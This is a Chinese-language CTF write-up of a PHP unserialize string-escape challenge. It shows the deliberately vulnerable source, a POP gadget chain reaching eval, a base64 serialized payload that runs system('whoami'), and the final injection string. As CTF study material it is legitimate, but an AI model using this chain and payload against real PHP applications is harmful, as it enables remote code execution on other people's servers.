记一次简单的PHP反序列化字符串溢出

今天朋友给的一道题，让我看看，来源不知，随手记一下

<?php
// where is flag
error_reporting(0);
class NFCTF{                                     
    public $ming,$id,$payload,$nothing;
    function __construct($iii){
        $this->ming=$iii;
    }
    function __wakeup(){                        
    if($this->id==="NFCTF"){   
            $tmp = base64_decode($this->payload);        
            $this->nothing=unserialize($tmp);
        }
        else{
            die("you nonono!!!");
        }
    }
}
class xiaohuolong{
    public $x;                        

    function heeko(){
        echo "heeko";
    }

    function __toString(){
        $this->x->nice();              
    }
}
class kabishou{
    public $m;
    public $y;
    public $h;
    function __wakeup(){        
        $this->setm();
    }

    function setm(){
        $this->_m = ""; 
    }

    function __destruct(){          
        $this->y=$this->h;          
        die($this->m);              
    }
}
class jienigui{
    public $pay;                    
    function nice(){
        eval($this->pay);           
    }
}
$cmd=$_POST["cmd"];
if(isset($cmd))
{
    $newdata=serialize(new NFCTF($cmd));                             
    $redata=str_replace("add","addd",$newdata);            
    unserialize($redata);                                     
}else{
    highlight_file(__FILE__);
}

首先是触发到eval($this->pay);的链子，很简单

jienigui::nice() <- xiaohuolong::__toString() <- kabishou::__destruct() 

<?php 
class xiaohuolong{
    public $x;                        

    function heeko(){
        echo "heeko";
    }

    function __toString(){
        $this->x->nice();              
    }
}
class kabishou{
    public $m;
    public $y;
    public $h;
    function __wakeup(){        
        $this->setm();
    }

    function setm(){
        $this->_m = ""; 
    }

    function __destruct(){          
        $this->y=$this->h;          
        die($this->m);              
    }
}
class jienigui{
    public $pay;                    
    function nice(){
        eval($this->pay);           
    }
}

$jienigui = new jienigui();
$jienigui -> pay = "system('whoami');";
$xiaohuolong = new xiaohuolong();
$xiaohuolong -> x = $jienigui;
$kabishou = new kabishou();
$kabishou -> m = $xiaohuolong;
echo base64_encode(serialize($kabishou))."\n";

PS C:\Users\Administrator\Downloads> php .\test.php
Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9
mochu7\administrator
PS C:\Users\Administrator\Downloads>

然后就是将Base64编码后的这条链的序列化字符串，赋值给$this->payload，使其在NFCTF::__wakeup()触发反序列化，然后NFCTF这个类，传参可控的是属性是$this->ming，替换规则是每出现一个add就替换为addd，长度变化为+1

把Base64的payload放进去，$this->id设置好，参考序列化的之后的字符串更直观

<?php 
class NFCTF{                                     
    public $ming,$id,$payload,$nothing;
    function __construct($iii){
        $this->ming=$iii;
    }
    function __wakeup(){                        
    if($this->id==="NFCTF"){
            $tmp = base64_decode($this->payload);        
            $this->nothing=unserialize($tmp);
        }
        else{
            die("you nonono!!!");
        }
    }
}
class xiaohuolong{
    public $x;                        

    function heeko(){
        echo "heeko";
    }

    function __toString(){
        $this->x->nice();              
    }
}
class kabishou{
    public $m;
    public $y;
    public $h;
    function __wakeup(){        
        $this->setm();
    }

    function setm(){
        $this->_m = ""; 
    }

    function __destruct(){          
        $this->y=$this->h;          
        die($this->m);              
    }
}
class jienigui{
    public $pay;                    
    function nice(){
        eval($this->pay);           
    }
}
$NFCTF = new NFCTF('mochu7');
$NFCTF -> id = "NFCTF";
$NFCTF -> payload = "Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9";
echo serialize($NFCTF);
// O:5:"NFCTF":4:{s:4:"ming";s:6:"mochu7";s:2:"id";s:5:"NFCTF";s:7:"payload";s:176:"Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9";s:7:"nothing";N;}

我们要控制注入进去的对象属性是$this->id、$this->payload，也就是后面选中的这长度为239的字符串，包含开头的";，因为需要闭合$this->ming的内容格式才能被正确反序列化的。

明确了需要注入的payload长度为239，就可以设置替换字符为'add'*239，经过str_replace("add","addd",$newdata);就是'addd'*239，长度变化为+239，正好可以将后面这串 payload 挤出$this->ming的内容范围。如下图所示：

所示执行system("whoami")的命令的payload最终payload如下

cmd=addaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddadd";s:2:"id";s:5:"NFCTF";s:7:"payload";s:176:"Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9";s:7:"nothing";N;}

即你需要注入的payload长度为多少，就构造能溢出多少长度的替换字符串。